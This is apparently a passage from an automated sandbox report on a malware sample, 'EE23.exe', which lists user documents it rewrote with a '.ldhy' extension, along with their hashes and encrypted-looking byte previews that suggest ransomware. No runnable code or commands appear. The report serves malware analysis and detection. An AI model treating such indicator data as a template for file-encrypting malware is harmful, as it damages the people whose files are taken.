                                                                                                                                                                                                                                                              Preview:EEGWXLP.....~...y=..L...w`.....<L,wk.>.l4...YA~...A.[C_.F..._.....q.N......-...6<1.G.......{R..$.'....z.....%..t..$.Y....N...m.W'....QR.))2u.@......w.H.E....^a..L..*.%..".`L.dHp..X..3.h..u.-..-w...U..G.......;.q...0.AP.g.gcAse.$H.z..gP..+C............R.,.."[.s...,.(.0n0........=..F.....g...............iH_.}..Wk.b.jkX..m.....u.pG6..p%...M.S.....{|...V.K].\Av.f..b..+....a~.N.....K.#Aj...t..C...1v.......{fN....>|R?..2.;.(.${.<l..<...%c.=..H..V..(.*.d.(..LY...W$.Y.D3E.........ZD.S.`.&...0....Yh.gvQ.....:]...@.............l......5..X....z./.....4i(J*..E...w.K.. .i..y..T.M............l,.S....;..Z3....jNZ@.].b}5C.g..L.R<". w.<&`..9.Z...m..H-..}..u....*.d?..K..Kg.%.|F.{......2)k.u.3`Z.n....S}2X./e....c..O.....(....'..y...>...T!.y..O....\.....I5.=%k..#G..7u...z....9;.!..)A.`<..e...^%..$.r...{9..i.T..qKZ.S.yZ..q`F2......+..1A...+x..M..,....q..L........k.F.y........o..X.H..`'2.!.~V...5..|5M......Tj.fI".......C.....S....y+.y..C*_..B..:..

                                                                                                                                                                                                                                                              C:\Users\user\Documents\EEGWXUHVUG.jpg.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.85844474344809
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:lficaMK4YBMkiehY+1hSTyZkZs5YMw90sbJLhCO0sLrXv2sbD:l6Z4oM4Y+1hSTikZV1Lo0rXv2mD
                                                                                                                                                                                                                                                              MD5:9A7353C537925B715D75AB04FDE1A7C2
                                                                                                                                                                                                                                                              SHA1:D14974A516DEBCE5D58D05A195A22DB0639E28E8
                                                                                                                                                                                                                                                              SHA-256:95BB08FFC743E370F702044D47483E436237D3A6E5EF1A48F421F48C392760EF
                                                                                                                                                                                                                                                              SHA-512:83E692D7B51A7F02181817494DCADECA2CA747646423828332D4E2375A4720BBA9B1D91350280068340B7E96820873C2AEF7436C148A2516AFBBB2A403E3E5BE
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EEGWXLP.....~...y=..L...w`.....<L,wk.>.l4...YA~...A.[C_.F..._.....q.N......-...6<1.G.......{R..$.'....z.....%..t..$.Y....N...m.W'....QR.))2u.@......w.H.E....^a..L..*.%..".`L.dHp..X..3.h..u.-..-w...U..G.......;.q...0.AP.g.gcAse.$H.z..gP..+C............R.,.."[.s...,.(.0n0........=..F.....g...............iH_.}..Wk.b.jkX..m.....u.pG6..p%...M.S.....{|...V.K].\Av.f..b..+....a~.N.....K.#Aj...t..C...1v.......{fN....>|R?..2.;.(.${.<l..<...%c.=..H..V..(.*.d.(..LY...W$.Y.D3E.........ZD.S.`.&...0....Yh.gvQ.....:]...@.............l......5..X....z./.....4i(J*..E...w.K.. .i..y..T.M............l,.S....;..Z3....jNZ@.].b}5C.g..L.R<". w.<&`..9.Z...m..H-..}..u....*.d?..K..Kg.%.|F.{......2)k.u.3`Z.n....S}2X./e....c..O.....(....'..y...>...T!.y..O....\.....I5.=%k..#G..7u...z....9;.!..)A.`<..e...^%..$.r...{9..i.T..qKZ.S.yZ..q`F2......+..1A...+x..M..,....q..L........k.F.y........o..X.H..`'2.!.~V...5..|5M......Tj.fI".......C.....S....y+.y..C*_..B..:..

                                                                                                                                                                                                                                                              C:\Users\user\Documents\EEGWXUHVUG\DUUDTUBZFW.pdf

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.840566505870428
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:G4Tih0c4eutaOcTf6Wb6TwtblnFPfVbSVJMaLUrQBt03nk6NigdRm8wH7JsbD:HTQ0c4e0y7/beClFPIAaI+l6NigdE8wc
                                                                                                                                                                                                                                                              MD5:9EFE4A1004093E5155F2918F5B81A60E
                                                                                                                                                                                                                                                              SHA1:E689A96A81570FC32D8A361F35ABBF2BE35FB1EC
                                                                                                                                                                                                                                                              SHA-256:71F8AF9D5D9C177BFF4CED3012E5F9368DD87EBBF8AC4A7A335A287B59376927
                                                                                                                                                                                                                                                              SHA-512:2C65B0FC52DF168896FA36A4BC714BF96A7599DD2CF3E5B4ADE7232FADBAE7F9BB64395EC29B7309CC61BA47EF0A95F6AA8780C71AF5028D73A26C7B78C09748
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:DUUDT.XfoaK.j.>....1.*.v..6........G.....*i.*.Y=}..K..!.....!.O....L5..._......o...@.h..w.4..MNz-.......$Q.........e.pN...L.".y]_E]...C..).F..2.C...>...#...%m'...=!+J%...=i.=..q*T..E)+{.....x#)Z.5.V...8.O)..b.7.E...2.H$r.;j.}.......m..........;...u..........I.IV..."{.C.$-e..Og.g.l.#....p..K.\....#|..[.X...&....mhM#Tp..G.J...5e'P...O..4........u.!..W8...C...A..Yr<.1.J..\+...+(C...Ua.$._.\..............0]...|gX....:!x#....G>u...z.Y...t..{...,.._...f....|..H..>q.(.@.*....!.^...k......J....V......6...0......5...B...&..@...[tt.....wO.....e$}6....S....o.....e?...,...l.7......J#.a...&o)B.:.O..$:Unp....eE.....o..6].,.M....v.(.*.-..E.|...mOo..ke..T..f..s.$...W.u".l.|L HW.}.....Q.,.F...qw.....p._....y6M..|..[:.|..k...7[..t1R....i7.......M..j....l..=...$;.....t6..*.Z...D.1.r..$J.g.|RVM.c.......];j......8o)T....5w.B.CG._evl}.!.c<./...QH......1.H...s....D....p...@.L...pe.]..........Pj..&.\..W2.3E.....<...i#...P.|u...P.`.h|.4$..8.9....(.EZ...&.....

                                                                                                                                                                                                                                                              C:\Users\user\Documents\EEGWXUHVUG\DUUDTUBZFW.pdf.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.840566505870428
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:G4Tih0c4eutaOcTf6Wb6TwtblnFPfVbSVJMaLUrQBt03nk6NigdRm8wH7JsbD:HTQ0c4e0y7/beClFPIAaI+l6NigdE8wc
                                                                                                                                                                                                                                                              MD5:9EFE4A1004093E5155F2918F5B81A60E
                                                                                                                                                                                                                                                              SHA1:E689A96A81570FC32D8A361F35ABBF2BE35FB1EC
                                                                                                                                                                                                                                                              SHA-256:71F8AF9D5D9C177BFF4CED3012E5F9368DD87EBBF8AC4A7A335A287B59376927
                                                                                                                                                                                                                                                              SHA-512:2C65B0FC52DF168896FA36A4BC714BF96A7599DD2CF3E5B4ADE7232FADBAE7F9BB64395EC29B7309CC61BA47EF0A95F6AA8780C71AF5028D73A26C7B78C09748
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:DUUDT.XfoaK.j.>....1.*.v..6........G.....*i.*.Y=}..K..!.....!.O....L5..._......o...@.h..w.4..MNz-.......$Q.........e.pN...L.".y]_E]...C..).F..2.C...>...#...%m'...=!+J%...=i.=..q*T..E)+{.....x#)Z.5.V...8.O)..b.7.E...2.H$r.;j.}.......m..........;...u..........I.IV..."{.C.$-e..Og.g.l.#....p..K.\....#|..[.X...&....mhM#Tp..G.J...5e'P...O..4........u.!..W8...C...A..Yr<.1.J..\+...+(C...Ua.$._.\..............0]...|gX....:!x#....G>u...z.Y...t..{...,.._...f....|..H..>q.(.@.*....!.^...k......J....V......6...0......5...B...&..@...[tt.....wO.....e$}6....S....o.....e?...,...l.7......J#.a...&o)B.:.O..$:Unp....eE.....o..6].,.M....v.(.*.-..E.|...mOo..ke..T..f..s.$...W.u".l.|L HW.}.....Q.,.F...qw.....p._....y6M..|..[:.|..k...7[..t1R....i7.......M..j....l..=...$;.....t6..*.Z...D.1.r..$J.g.|RVM.c.......];j......8o)T....5w.B.CG._evl}.!.c<./...QH......1.H...s....D....p...@.L...pe.]..........Pj..&.\..W2.3E.....<...i#...P.|u...P.`.h|.4$..8.9....(.EZ...&.....

                                                                                                                                                                                                                                                              C:\Users\user\Documents\EEGWXUHVUG\EEGWXUHVUG.docx

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.84365905634751
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:QKnPQY2qKDySmffw+AoT854gvLSgjFpZ4FSEV3GL3h3jUVCsbD:dPQHxDyS0fvpI5rv2YTZ4AEdGVACmD
                                                                                                                                                                                                                                                              MD5:C1DB3ED7EA7E3664665B29F4BD3D3791
                                                                                                                                                                                                                                                              SHA1:1752EE3117FA7EEA85E7E65401DAC3A5703F4251
                                                                                                                                                                                                                                                              SHA-256:1D6D2D200B481205B5423782B7555E555B099C02758EFA5D53A542555B6D7270
                                                                                                                                                                                                                                                              SHA-512:AD9EA415F0BE5862294DA56261D15E6F8144BDD84DBAD288B5981C05D490FD234928BDCD968E75D726A3EA5AB9F8C28E4EE0FC5536B8221A0B28F19CD6001969
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EEGWXq45...ol..'.Q..>[r.S?..7..6y_g..J.l.?l...JtKS...h..!az...d0...^...~k.MK.9.7C_6S........n..i+(p...$...Bh......&.....8.o..@...T....(..#.....N-.3e..\4.Fd..,...hyeA+.-.M.3..e}K.=...."...o..`..#.J..8..}..>"..........[....:...z.g.G(....:.C..3..2.._.8'.m...b....VJ...av....zO.`U.Z5..&._.r-T@..\.P.....M.........d..nb_......l..W..'....&.#.{.a..^...[...rf5.{...s +.|...#...{.#p.tocM.W......zM.&~'.../.Y......[..H.'Cg..}...2.]G(tUI.....ghl.......[J%-.$.P...hE...r.K@u/...+BV...m.e..:.w9...}5l..L.#...P.i...s..tQ.....!.....D9.j....r.$C...>J..=.z./.\.J.W....uJ.R..I....hR:..".....a..Mv..gf.g'.t..W..(..L...V.....x..k.. H..E.dk.6.....c.Wc..yO..f......RC..6..........8.jb.#w..e......Lu..N.Ad..1.<../s|.6cS.oL..e.. ...}e|u.....+..IgQG..q...e.D.P..)...y....j.....iA.3..s.kI'.....d.|.-.(..6..~.[PCI.F..}y.m.7..c.9..R,>.!..-.z........7{h.....y...1.../S..5/.y..].+.D.x...j....vj.%.....gh.Djf... Z.7......iM.^+.......[.&K.}.y../..#.70|.Q_8...,+.a..r?...............P..

                                                                                                                                                                                                                                                              C:\Users\user\Documents\EEGWXUHVUG\EEGWXUHVUG.docx.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.84365905634751
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:QKnPQY2qKDySmffw+AoT854gvLSgjFpZ4FSEV3GL3h3jUVCsbD:dPQHxDyS0fvpI5rv2YTZ4AEdGVACmD
                                                                                                                                                                                                                                                              MD5:C1DB3ED7EA7E3664665B29F4BD3D3791
                                                                                                                                                                                                                                                              SHA1:1752EE3117FA7EEA85E7E65401DAC3A5703F4251
                                                                                                                                                                                                                                                              SHA-256:1D6D2D200B481205B5423782B7555E555B099C02758EFA5D53A542555B6D7270
                                                                                                                                                                                                                                                              SHA-512:AD9EA415F0BE5862294DA56261D15E6F8144BDD84DBAD288B5981C05D490FD234928BDCD968E75D726A3EA5AB9F8C28E4EE0FC5536B8221A0B28F19CD6001969
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EEGWXq45...ol..'.Q..>[r.S?..7..6y_g..J.l.?l...JtKS...h..!az...d0...^...~k.MK.9.7C_6S........n..i+(p...$...Bh......&.....8.o..@...T....(..#.....N-.3e..\4.Fd..,...hyeA+.-.M.3..e}K.=...."...o..`..#.J..8..}..>"..........[....:...z.g.G(....:.C..3..2.._.8'.m...b....VJ...av....zO.`U.Z5..&._.r-T@..\.P.....M.........d..nb_......l..W..'....&.#.{.a..^...[...rf5.{...s +.|...#...{.#p.tocM.W......zM.&~'.../.Y......[..H.'Cg..}...2.]G(tUI.....ghl.......[J%-.$.P...hE...r.K@u/...+BV...m.e..:.w9...}5l..L.#...P.i...s..tQ.....!.....D9.j....r.$C...>J..=.z./.\.J.W....uJ.R..I....hR:..".....a..Mv..gf.g'.t..W..(..L...V.....x..k.. H..E.dk.6.....c.Wc..yO..f......RC..6..........8.jb.#w..e......Lu..N.Ad..1.<../s|.6cS.oL..e.. ...}e|u.....+..IgQG..q...e.D.P..)...y....j.....iA.3..s.kI'.....d.|.-.(..6..~.[PCI.F..}y.m.7..c.9..R,>.!..-.z........7{h.....y...1.../S..5/.y..].+.D.x...j....vj.%.....gh.Djf... Z.7......iM.^+.......[.&K.}.y../..#.70|.Q_8...,+.a..r?...............P..

                                                                                                                                                                                                                                                              C:\Users\user\Documents\EEGWXUHVUG\EIVQSAOTAQ.jpg

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.863605557056017
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:RCoJVQz3UN90GB3V3YISwE+/JqDeUlyyPjkez+BWGrOHWViCUgH9LE8sbD:fckVv3rSwELvFyajCUyJmD
                                                                                                                                                                                                                                                              MD5:019F2A754706F6C914CDDB6477599F6D
                                                                                                                                                                                                                                                              SHA1:8D691489CE1A9326E4614D5BE4687616EEC801A6
                                                                                                                                                                                                                                                              SHA-256:48BAAE03E008CB886063792D894C52EBA381D8421DFCE609471EFCF27C0A3071
                                                                                                                                                                                                                                                              SHA-512:9BFCF8BD8084F034347969EB5744134C0587C5E7D3210B32F05D5ECFB43A552A845D6FAFA3B351D3DB6E456FCC4F3F58770EC421DC4009F43351794210D9E076
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EIVQS..K3..*^.....)=..O5^o.....1.^K.$.Z....K...vP.|/a(...<...r.9.....c4gv.l?...o...p.%r$..X.2.m..i\.B........1r.P........Pb..../....\. .....+...;...^.h..5-.e.R!b}......[.L..}.@.....F.....Zf...C......!..D..|{3.Vd.u.\..!..Y.[pb;........./ZC.....e..a...._..a-........f.Yw......&.....1OQ...$e...=X.6.9..k.Kb.....*7t...YmK..V.C.xy.'iY..z c.D.....:....3u.......m'O...6M.........R....Q.@...@.v.u&.i..?O,s5...b.._..{.q<.X.@..x}4....v...~.e...%....0..&.;!.4P..A.W....$..g..........n..H..8W..XHk..BO;.%......zY..m.7.q...HZ.`.......&4.. ......Z2...Y"........].>p..0.8q$...6..%z[..0,Z.F..,.e.aZbw...`..?0.5.out.p...........g..(.=......{..f=2...@.M;.!.g.l..bz.n..$C3~ .k1.L.z..&bRdUg.>u?V..V[.mjT0..:G..yl...o....s.%}jZC..h..6-W.MZ.2..<...\q..#....#......6........./..ah.c<r\.5M.S..]..+...=.~..9=..cq..;..4.fg/...$9..Yq..))...K..D^..]&{s.a.$.%....P#........).x-..>.jPZ...@.t.. 53.A.t.{..O......M:...9..&......o......w..{..l..>.u.dl.....Z....W..W..E.%.q..0A.|.S....v.

                                                                                                                                                                                                                                                              C:\Users\user\Documents\EEGWXUHVUG\EIVQSAOTAQ.jpg.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.863605557056017
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:RCoJVQz3UN90GB3V3YISwE+/JqDeUlyyPjkez+BWGrOHWViCUgH9LE8sbD:fckVv3rSwELvFyajCUyJmD
                                                                                                                                                                                                                                                              MD5:019F2A754706F6C914CDDB6477599F6D
                                                                                                                                                                                                                                                              SHA1:8D691489CE1A9326E4614D5BE4687616EEC801A6
                                                                                                                                                                                                                                                              SHA-256:48BAAE03E008CB886063792D894C52EBA381D8421DFCE609471EFCF27C0A3071
                                                                                                                                                                                                                                                              SHA-512:9BFCF8BD8084F034347969EB5744134C0587C5E7D3210B32F05D5ECFB43A552A845D6FAFA3B351D3DB6E456FCC4F3F58770EC421DC4009F43351794210D9E076
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EIVQS..K3..*^.....)=..O5^o.....1.^K.$.Z....K...vP.|/a(...<...r.9.....c4gv.l?...o...p.%r$..X.2.m..i\.B........1r.P........Pb..../....\. .....+...;...^.h..5-.e.R!b}......[.L..}.@.....F.....Zf...C......!..D..|{3.Vd.u.\..!..Y.[pb;........./ZC.....e..a...._..a-........f.Yw......&.....1OQ...$e...=X.6.9..k.Kb.....*7t...YmK..V.C.xy.'iY..z c.D.....:....3u.......m'O...6M.........R....Q.@...@.v.u&.i..?O,s5...b.._..{.q<.X.@..x}4....v...~.e...%....0..&.;!.4P..A.W....$..g..........n..H..8W..XHk..BO;.%......zY..m.7.q...HZ.`.......&4.. ......Z2...Y"........].>p..0.8q$...6..%z[..0,Z.F..,.e.aZbw...`..?0.5.out.p...........g..(.=......{..f=2...@.M;.!.g.l..bz.n..$C3~ .k1.L.z..&bRdUg.>u?V..V[.mjT0..:G..yl...o....s.%}jZC..h..6-W.MZ.2..<...\q..#....#......6........./..ah.c<r\.5M.S..]..+...=.~..9=..cq..;..4.fg/...$9..Yq..))...K..D^..]&{s.a.$.%....P#........).x-..>.jPZ...@.t.. 53.A.t.{..O......M:...9..&......o......w..{..l..>.u.dl.....Z....W..W..E.%.q..0A.|.S....v.

                                                                                                                                                                                                                                                              C:\Users\user\Documents\EEGWXUHVUG\GRXZDKKVDB.xlsx

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.865721636676876
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:ZGWS2y5PdGUbcxw6er5LYLb46vfNW715JeMFkCg3dbasq4teOuSDZvEsbD:QWSjsscxzerFYLb7v4neMlGdOweOuepl
                                                                                                                                                                                                                                                              MD5:5E4671E40FF0009D6E0E2E044396D15C
                                                                                                                                                                                                                                                              SHA1:D213F5AE0258CBD9FD5B44C68DA8010AFEFD275C
                                                                                                                                                                                                                                                              SHA-256:E1D8405632D071E08F47C3F34F57CC7AD43D59D305EBE39BB4EB54910E070F77
                                                                                                                                                                                                                                                              SHA-512:4B7DAB3C5C15F20E566C8FBDD8E7ECAE3E6A6260667594E9894B753BD08C823F0AD3DE48028F2E653639A3825E6C0EE50F4FA061DBF7F7CE313EC2F58B8C1A5D
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:GRXZD..._ ....ZX.cwc..), .n.. ...%......*lu;5...d.<.F...l-a).4...qf.`M...J.1^Q6.?.#.....,...R.q._J..P.3.......m,.^..v.......O....s..2c..9....o......k.c8.m...5D.J..tX|B...H...l./.J..v.8....L4.{=.T.9^..!Fi.gj.Y..&..d.....;..Y.G.i......W...dQf'....u;.z..B......|.[G.6.z!.!..'E.3S.^..[wQ..[..7..a.....f.rY..yY3..y..(.....^.$.g...c..`30y.i..v.....:;.8^. r.'.@M.K...U+....D:.)'.!..7..1..9M...Nq:8(^5&x.q.E{.`....q0..p.<..=.W......,.M.......f..k#.jj.@.;.BS.5z}.aOzw@".O......sF.@...^6..A.xrYC....$..q.&J.3......kn.;\.U3.T>x$>.VS./..)..6x?....V@hhO......;..tM...l.S.v..u...=G..5.q..pu....x#*QS#.r..%r(%.;....G.....z.X.Z.........kQ.......h6i..v...7...m......'..h"..>.H.j.oU.0...9.6 .;..e...Uz..%...&..n..F.9i.+..HI.{3&...b-......z.P....%..r...4`.p.{......Ao.r.m.l=4..#.s....P.........M........._7....P...j-....I.u.h..K..K..=...}...pi.e..........ti..G.....A.....c..~..qD.\.......hs0.<......h2..-5..LpL..C.,"....+S.%..N!....|.4..O.d/............).....3x.'.!.....Y.C.m+

                                                                                                                                                                                                                                                              C:\Users\user\Documents\EEGWXUHVUG\GRXZDKKVDB.xlsx.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.865721636676876
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:ZGWS2y5PdGUbcxw6er5LYLb46vfNW715JeMFkCg3dbasq4teOuSDZvEsbD:QWSjsscxzerFYLb7v4neMlGdOweOuepl
                                                                                                                                                                                                                                                              MD5:5E4671E40FF0009D6E0E2E044396D15C
                                                                                                                                                                                                                                                              SHA1:D213F5AE0258CBD9FD5B44C68DA8010AFEFD275C
                                                                                                                                                                                                                                                              SHA-256:E1D8405632D071E08F47C3F34F57CC7AD43D59D305EBE39BB4EB54910E070F77
                                                                                                                                                                                                                                                              SHA-512:4B7DAB3C5C15F20E566C8FBDD8E7ECAE3E6A6260667594E9894B753BD08C823F0AD3DE48028F2E653639A3825E6C0EE50F4FA061DBF7F7CE313EC2F58B8C1A5D
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:GRXZD..._ ....ZX.cwc..), .n.. ...%......*lu;5...d.<.F...l-a).4...qf.`M...J.1^Q6.?.#.....,...R.q._J..P.3.......m,.^..v.......O....s..2c..9....o......k.c8.m...5D.J..tX|B...H...l./.J..v.8....L4.{=.T.9^..!Fi.gj.Y..&..d.....;..Y.G.i......W...dQf'....u;.z..B......|.[G.6.z!.!..'E.3S.^..[wQ..[..7..a.....f.rY..yY3..y..(.....^.$.g...c..`30y.i..v.....:;.8^. r.'.@M.K...U+....D:.)'.!..7..1..9M...Nq:8(^5&x.q.E{.`....q0..p.<..=.W......,.M.......f..k#.jj.@.;.BS.5z}.aOzw@".O......sF.@...^6..A.xrYC....$..q.&J.3......kn.;\.U3.T>x$>.VS./..)..6x?....V@hhO......;..tM...l.S.v..u...=G..5.q..pu....x#*QS#.r..%r(%.;....G.....z.X.Z.........kQ.......h6i..v...7...m......'..h"..>.H.j.oU.0...9.6 .;..e...Uz..%...&..n..F.9i.+..HI.{3&...b-......z.P....%..r...4`.p.{......Ao.r.m.l=4..#.s....P.........M........._7....P...j-....I.u.h..K..K..=...}...pi.e..........ti..G.....A.....c..~..qD.\.......hs0.<......h2..-5..LpL..C.,"....+S.%..N!....|.4..O.d/............).....3x.'.!.....Y.C.m+

                                                                                                                                                                                                                                                              C:\Users\user\Documents\EEGWXUHVUG\KLIZUSIQEN.png

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.863209669648099
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:bbQ99X0W4HhEoY+hcG7ggu6aJRZDIGo5GbdIA78vIcXH3kB082sbD:HOJ+hvY6cG7Ru68RZsGocbdIAovIcnkl
                                                                                                                                                                                                                                                              MD5:0B88EEE0E03783978CCC8093EDE0AEDC
                                                                                                                                                                                                                                                              SHA1:8633B5B72E8D929243866C93AB81C5A932497404
                                                                                                                                                                                                                                                              SHA-256:0C5C71B3D5C48F5A235F9C4E1F1090EE85627AB741F90B08C104EC209A08C1FD
                                                                                                                                                                                                                                                              SHA-512:583C2FA15316CE9EC7393CB6DE83AE3B299C20A4FAE77E10646FB5B5E8E614FCD476970A686584FF1D776DFC7F5C7C9E3B81233262C63EEFD34E1BC17BE8C190
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:KLIZULgI........z...T]..j2.=..2..i"s..$U;z.X...qd...dB&7..O...%)..C<G........z.+*@.[.2...K.v.1.E..!)L...,u.Y...7e..`...J/./......."g..oOm.DQ.......J..z.z.....l.....Z..D....F.@.(..'........}|YU.T..y..)RI..8.D..7.......M PrC.f.......;G.....B.Y.v.rsW.<....D.a..e?...u..g^.E...>.#t..~3.S.&....1....j..wM.aJ......"..4...._6..u..y......dX<...T..t.......,.o.....gZ..Ftat..f...[..qc....\.Z..}q...*.].M.-!.;.....f<"...kV...!8d2.l......r..'g.0....7L8..x.Rl..9_....N...`t........P.}.q..........l..G.%p....m..@.D.....'.1:....B.o..t..!'...2SU...T..+W.6....h.{...2..`.p_V.i.eY/..Ag.,i.x..T.hs.$.........9.Z..n0}....a8<.\.3.....,-.%04.-..%B]fRb.c.......c..<..:r!l...YW......`G..\...a-..N....}.^4..Wg..n....{..0..*..<@.....`.C`7..nQz..#.7..Z.Y.C.=....$.0.&*.v.8c<.g.%...fs..<'...F....!.`G.S.9..;An..K.....M....;q...jH...m...=..c......%.............0=D..2.....1z.dTHb..Lq.s.u">.8..+m.....bq.....k.-.M.._..".|.0.2$..)'....~.Q.o.-.7.V.q..X~..K.4.xmw..G..[9.....%...R.x..

                                                                                                                                                                                                                                                              C:\Users\user\Documents\EEGWXUHVUG\KLIZUSIQEN.png.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.863209669648099
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:bbQ99X0W4HhEoY+hcG7ggu6aJRZDIGo5GbdIA78vIcXH3kB082sbD:HOJ+hvY6cG7Ru68RZsGocbdIAovIcnkl
                                                                                                                                                                                                                                                              MD5:0B88EEE0E03783978CCC8093EDE0AEDC
                                                                                                                                                                                                                                                              SHA1:8633B5B72E8D929243866C93AB81C5A932497404
                                                                                                                                                                                                                                                              SHA-256:0C5C71B3D5C48F5A235F9C4E1F1090EE85627AB741F90B08C104EC209A08C1FD
                                                                                                                                                                                                                                                              SHA-512:583C2FA15316CE9EC7393CB6DE83AE3B299C20A4FAE77E10646FB5B5E8E614FCD476970A686584FF1D776DFC7F5C7C9E3B81233262C63EEFD34E1BC17BE8C190
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:KLIZULgI........z...T]..j2.=..2..i"s..$U;z.X...qd...dB&7..O...%)..C<G........z.+*@.[.2...K.v.1.E..!)L...,u.Y...7e..`...J/./......."g..oOm.DQ.......J..z.z.....l.....Z..D....F.@.(..'........}|YU.T..y..)RI..8.D..7.......M PrC.f.......;G.....B.Y.v.rsW.<....D.a..e?...u..g^.E...>.#t..~3.S.&....1....j..wM.aJ......"..4...._6..u..y......dX<...T..t.......,.o.....gZ..Ftat..f...[..qc....\.Z..}q...*.].M.-!.;.....f<"...kV...!8d2.l......r..'g.0....7L8..x.Rl..9_....N...`t........P.}.q..........l..G.%p....m..@.D.....'.1:....B.o..t..!'...2SU...T..+W.6....h.{...2..`.p_V.i.eY/..Ag.,i.x..T.hs.$.........9.Z..n0}....a8<.\.3.....,-.%04.-..%B]fRb.c.......c..<..:r!l...YW......`G..\...a-..N....}.^4..Wg..n....{..0..*..<@.....`.C`7..nQz..#.7..Z.Y.C.=....$.0.&*.v.8c<.g.%...fs..<'...F....!.`G.S.9..;An..K.....M....;q...jH...m...=..c......%.............0=D..2.....1z.dTHb..Lq.s.u">.8..+m.....bq.....k.-.M.._..".|.0.2$..)'....~.Q.o.-.7.V.q..X~..K.4.xmw..G..[9.....%...R.x..

                                                                                                                                                                                                                                                              C:\Users\user\Documents\EEGWXUHVUG\QCOILOQIKC.mp3

                                                                                                                                                                                                                                                              Download File
